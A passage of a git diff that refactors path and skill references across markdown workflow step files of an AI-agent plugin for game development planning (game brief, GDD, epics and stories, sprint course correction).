+description: 'Manage significant changes during sprint execution. Use when the user says "correct course" or "propose sprint change"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-correct-course/checklist.md b/plugins/bmad/skills/gds-correct-course/checklist.md
index e1386f2..b56feb6 100644
--- a/plugins/bmad/skills/gds-correct-course/checklist.md
+++ b/plugins/bmad/skills/gds-correct-course/checklist.md
@@ -1,6 +1,6 @@
 # Change Navigation Checklist
 
-<critical>This checklist is executed as part of: ${CLAUDE_PLUGIN_ROOT}/skills/gds-correct-course/SKILL.md</critical>
+<critical>This checklist is executed as part of: ./workflow.md</critical>
 <critical>Work through each section systematically with the user, recording findings and impacts</critical>
 
 <checklist>
@@ -217,8 +217,8 @@
 <check-item id="5.5">
 <prompt>Establish agent handoff plan</prompt>
 <action>Identify which roles/agents will execute the changes:</action>
-  - Development team (for implementation)
-  - Product Owner / Scrum Master (for backlog changes)
+  - Developer agent (for implementation)
+  - Product Owner / Developer (for backlog changes)
   - Product Manager / Architect (for strategic changes)
 <action>Define responsibilities for each role</action>
 <status>[ ] Done / [ ] N/A / [ ] Action-needed</status>
diff --git a/plugins/bmad/skills/gds-create-epics-and-stories/SKILL.md b/plugins/bmad/skills/gds-create-epics-and-stories/SKILL.md
index 5ebbb2f..f3b0fe3 100644
--- a/plugins/bmad/skills/gds-create-epics-and-stories/SKILL.md
+++ b/plugins/bmad/skills/gds-create-epics-and-stories/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-epics-and-stories
 description: 'Create Epics and Stories from GDD requirements for development. Use when the user says "create epics" or "create stories"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-01-validate-prerequisites.md b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-01-validate-prerequisites.md
index 91833a8..70413ac 100644
--- a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-01-validate-prerequisites.md
+++ b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-01-validate-prerequisites.md
@@ -3,7 +3,7 @@ name: 'step-01-validate-prerequisites'
 description: 'Validate required documents exist and extract all requirements for epic and story creation'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-epics-and-stories'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-validate-prerequisites.md'
@@ -14,7 +14,7 @@ epicsTemplate: '{workflow_path}/templates/epics-template.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 
 # Template References
 epicsTemplate: '{workflow_path}/templates/epics-template.md'
diff --git a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-02-design-epics.md b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-02-design-epics.md
index 57501ac..672c155 100644
--- a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-02-design-epics.md
+++ b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-02-design-epics.md
@@ -3,7 +3,7 @@ name: 'step-02-design-epics'
 description: 'Design and approve the epics_list that will organize all requirements into user-value-focused epics'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-epics-and-stories'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-design-epics.md'
@@ -13,7 +13,7 @@ outputFile: '{planning_artifacts}/epics.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 
 # Template References
 epicsTemplate: '{workflow_path}/templates/epics-template.md'
diff --git a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-03-create-stories.md b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-03-create-stories.md
index a6419a2..524ffea 100644
--- a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-03-create-stories.md
+++ b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-03-create-stories.md
@@ -3,7 +3,7 @@ name: 'step-03-create-stories'
 description: 'Generate all epics with their stories following the template structure'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-epics-and-stories'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-create-stories.md'
@@ -13,7 +13,7 @@ outputFile: '{planning_artifacts}/epics.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 
 # Template References
 epicsTemplate: '{workflow_path}/templates/epics-template.md'
diff --git a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-04-final-validation.md b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-04-final-validation.md
index 061af07..f37748a 100644
--- a/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-04-final-validation.md
+++ b/plugins/bmad/skills/gds-create-epics-and-stories/steps/step-04-final-validation.md
@@ -3,7 +3,7 @@ name: 'step-04-final-validation'
 description: 'Validate complete coverage of all requirements and ensure implementation readiness'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-epics-and-stories'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-final-validation.md'
@@ -12,7 +12,7 @@ outputFile: '{planning_artifacts}/epics.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 
 # Template References
 epicsTemplate: '{workflow_path}/templates/epics-template.md'
diff --git a/plugins/bmad/skills/gds-create-game-brief/SKILL.md b/plugins/bmad/skills/gds-create-game-brief/SKILL.md
index fb13e57..e77c821 100644
--- a/plugins/bmad/skills/gds-create-game-brief/SKILL.md
+++ b/plugins/bmad/skills/gds-create-game-brief/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-game-brief
 description: 'Interactive game brief creation guiding users through defining their game vision. Use when the user says "game brief" or "create brief"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-01-init.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-01-init.md
index c7bd11c..89e822c 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-01-init.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-01-init.md
@@ -3,7 +3,7 @@ name: 'step-01-init'
 description: 'Initialize the Game Brief workflow by detecting continuation state and setting up the document'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-init.md'
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-01b-continue.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-01b-continue.md
index feb5e79..cacbc6f 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-01b-continue.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-01b-continue.md
@@ -3,7 +3,7 @@ name: 'step-01b-continue'
 description: 'Resume an interrupted Game Brief workflow from the last completed step'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01b-continue.md'
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-02-vision.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-02-vision.md
index f6651de..ea34f7a 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-02-vision.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-02-vision.md
@@ -3,7 +3,7 @@ name: 'step-02-vision'
 description: 'Define the core game vision including name, concept, pitch, and vision statement'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-vision.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2: Game Vision
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-03-market.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-03-market.md
index 7047dbc..f13b75c 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-03-market.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-03-market.md
@@ -3,7 +3,7 @@ name: 'step-03-market'
 description: 'Define target audience and market context'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-market.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Target Market
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-04-fundamentals.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-04-fundamentals.md
index 7734cda..44b3318 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-04-fundamentals.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-04-fundamentals.md
@@ -3,7 +3,7 @@ name: 'step-04-fundamentals'
 description: 'Define core gameplay pillars, mechanics, and player experience goals'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-fundamentals.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 4: Game Fundamentals
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-05-scope.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-05-scope.md
index eeec14f..da3eec6 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-05-scope.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-05-scope.md
@@ -3,7 +3,7 @@ name: 'step-05-scope'
 description: 'Define project scope including platforms, constraints, and resources'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-05-scope.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 5: Scope & Constraints
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-06-references.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-06-references.md
index 306c581..753cf35 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-06-references.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-06-references.md
@@ -3,7 +3,7 @@ name: 'step-06-references'
 description: 'Define inspiration games, competitive analysis, and key differentiators'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-06-references.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 6: Reference Framework
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-07-content.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-07-content.md
index 945b8ea..15117cb 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-07-content.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-07-content.md
@@ -3,7 +3,7 @@ name: 'step-07-content'
 description: 'Define content framework, art/audio direction, and risk assessment'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-07-content.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 7: Content & Production
diff --git a/plugins/bmad/skills/gds-create-game-brief/steps/step-08-complete.md b/plugins/bmad/skills/gds-create-game-brief/steps/step-08-complete.md
index af63598..d3ca472 100644
--- a/plugins/bmad/skills/gds-create-game-brief/steps/step-08-complete.md
+++ b/plugins/bmad/skills/gds-create-game-brief/steps/step-08-complete.md
@@ -3,7 +3,7 @@ name: 'step-08-complete'
 description: 'Define success criteria and complete the game brief with handoff guidance'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-08-complete.md'
@@ -11,7 +11,7 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-brief.md'
 
 # Workflow References
-gddWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd/SKILL.md'
+gddWorkflow: 'skill:gds-create-gdd'
 ---
 
 # Step 8: Success & Handoff
diff --git a/plugins/bmad/skills/gds-create-gdd/SKILL.md b/plugins/bmad/skills/gds-create-gdd/SKILL.md
index 0f53eed..a5fa0f5 100644
--- a/plugins/bmad/skills/gds-create-gdd/SKILL.md
+++ b/plugins/bmad/skills/gds-create-gdd/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-gdd
 description: 'Create Game Design Documents with mechanics and implementation guidance. Use when the user says "create GDD" or "game design document"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-01-init.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-01-init.md
similarity index 99%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-01-init.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-01-init.md
index e4f4e61..0f78619 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-01-init.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-01-init.md
@@ -3,7 +3,7 @@ name: 'step-01-init'
 description: 'Initialize the GDD workflow by detecting continuation state and setting up the document'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-init.md'
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-01b-continue.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-01b-continue.md
similarity index 98%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-01b-continue.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-01b-continue.md
index 1492b23..e439e09 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-01b-continue.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-01b-continue.md
@@ -3,7 +3,7 @@ name: 'step-01b-continue'
 description: 'Resume an interrupted GDD workflow from the last completed step'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01b-continue.md'
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-02-context.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-02-context.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-02-context.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-02-context.md
index c895a94..0e4ab34 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-02-context.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-02-context.md
@@ -3,7 +3,7 @@ name: 'step-02-context'
 description: 'Load game context from brief and determine the game type'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-context.md'
@@ -16,8 +16,8 @@ gameTypesCSV: '{workflow_path}/game-types.csv'
 gameTypesFolder: '{workflow_path}/game-types'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2: Game Context & Type
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-03-platforms.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-03-platforms.md
similarity index 96%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-03-platforms.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-03-platforms.md
index db5d3cb..a78f7f2 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-03-platforms.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-03-platforms.md
@@ -3,7 +3,7 @@ name: 'step-03-platforms'
 description: 'Define target platforms and target audience for the game'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-platforms.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Platforms & Audience
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-04-vision.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-04-vision.md
similarity index 96%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-04-vision.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-04-vision.md
index 5d566db..fcd415d 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-04-vision.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-04-vision.md
@@ -3,7 +3,7 @@ name: 'step-04-vision'
 description: 'Define project goals, context, and unique selling points'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-vision.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 4: Goals & Vision
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-05-core-gameplay.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-05-core-gameplay.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-05-core-gameplay.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-05-core-gameplay.md
index 1155f16..dcb2ea7 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-05-core-gameplay.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-05-core-gameplay.md
@@ -3,7 +3,7 @@ name: 'step-05-core-gameplay'
 description: 'Define game pillars, core gameplay loop, and win/loss conditions'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-05-core-gameplay.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 5: Core Gameplay
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-06-mechanics.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-06-mechanics.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-06-mechanics.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-06-mechanics.md
index 5479299..e870ed4 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-06-mechanics.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-06-mechanics.md
@@ -3,7 +3,7 @@ name: 'step-06-mechanics'
 description: 'Define primary game mechanics and control schemes'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-06-mechanics.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 6: Game Mechanics
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-07-game-type.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-07-game-type.md
similarity index 96%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-07-game-type.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-07-game-type.md
index b54d99b..88844cf 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-07-game-type.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-07-game-type.md
@@ -3,7 +3,7 @@ name: 'step-07-game-type'
 description: 'Process game-type specific sections from the loaded game type guide'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-07-game-type.md'
@@ -15,8 +15,8 @@ outputFile: '{output_folder}/gdd.md'
 gameTypesFolder: '{workflow_path}/game-types'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 7: Game Type Specifics
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-08-progression.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-08-progression.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-08-progression.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-08-progression.md
index a6dbfe4..c85d12e 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-08-progression.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-08-progression.md
@@ -3,7 +3,7 @@ name: 'step-08-progression'
 description: 'Define player progression systems and game balance'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-08-progression.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 8: Progression & Balance
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-09-levels.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-09-levels.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-09-levels.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-09-levels.md
index acc603e..4beaf1f 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-09-levels.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-09-levels.md
@@ -3,7 +3,7 @@ name: 'step-09-levels'
 description: 'Define level design framework and level progression'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-09-levels.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 9: Level Design
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-10-art-audio.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-10-art-audio.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-10-art-audio.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-10-art-audio.md
index 1a43878..6acf8f9 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-10-art-audio.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-10-art-audio.md
@@ -3,7 +3,7 @@ name: 'step-10-art-audio'
 description: 'Define art style and audio direction'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-10-art-audio.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 10: Art & Audio
diff --git a/plugins/bmad/skills/gds-create-gdd/steps/step-11-technical.md b/plugins/bmad/skills/gds-create-gdd/steps-c/step-11-technical.md
similarity index 97%
rename from plugins/bmad/skills/gds-create-gdd/steps/step-11-technical.md
rename to plugins/bmad/skills/gds-create-gdd/steps-c/step-11-technical.md
index 80b45fa..6d41028 100644
--- a/plugins/bmad/skills/gds-create-gdd/steps/step-11-technical.md
+++ b/plugins/bmad/skills/gds-create-gdd/steps-c/step-11-technical.md
@@ -3,7 +3,7 @@ name: 'step-11-technical'
 description: 'Define technical specifications and requirements'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-11-technical.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/gdd.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 11: Technical Specifications
